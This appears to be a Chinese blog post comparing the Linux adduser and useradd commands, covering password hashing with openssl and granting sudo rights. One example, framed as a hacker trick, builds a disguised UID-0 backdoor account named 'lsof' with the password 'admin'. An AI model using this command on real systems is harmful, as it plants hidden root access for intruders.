adduser 和 useradd 的区别

useradd 是没有人机对话过程的,只有明确指定参数才可以创建主目录,便于使用脚本调用,更灵活。
adduser 命令是对话式创建用户,它会提示操作者输入密码和再次确认密码,可以不带任何参数使用,完成后自动创建主目录,。

useradd创建用户的过程和设置密码是分开进行的,它们分别对应:

#创建一个用户 newuser,并创建主目录( -m 参数)
useradd -m newuser

#为 newuser设置密码,passwd 命令的优点是可以使用明文设置密码,比较方便
passwd newuser

#也可以一次指定全部参数,注意:不支持以明文方式指定密码
useradd -p `openssl passwd -1 -salt 'salt' 123456` -d /home/newuser -G GROUP newuser

#加密密码时也可以不加盐
useradd -p `openssl passwd -1 123456` -d /home/newuser -G GROUP newuser

#一句话添加一个root级别的账户并设置密码的命令. 用户名lsof, 密码admin,黑客必会
useradd -p `openssl passwd -1 -salt 'lsof' admin` -u 0 -g root -G root -s /bin/bash -d /usr/bin/lsof lsof

# -p `openssl passwd -1 -salt 'lsof' admin` 这个里面的指的是设置用户的密码,里面的lsof差不多是密钥之类的,可以随便写, admin是明文密码
# -u 0 -o 添加一个uid为 0的用户 就相对于root级别的了
# -g root -G root 将用户添加到root组
# -s /bin/bash 指定新建用户的shell路径
# -d /usr/bin/lsof 新建用户的主目录,可以自己定义
# lsof 新建的用户的用户名

上面三个过程,如果用adduser创建的话,就只需要:

#创建一个用户newuser,并交互式的设置密码
adduser newuser

设置sudo权限

为用户添加sudo权限,可以使用修改 sudoers和adduser两种方法,推荐使用第二种:

  1. 使用 sudo visudo 命令修改 sudoers 文件,添加
newuser ALL=(ALL) ALL
  1. 使用 adduser命令,直接一行:
adduser newuser sudo
  1. 也可以在使用 useradd 命令时直接以 -G 参数指定用户组。
posted @ 2026-03-25 15:24  汉学  阅读(1)  评论(0)    收藏  举报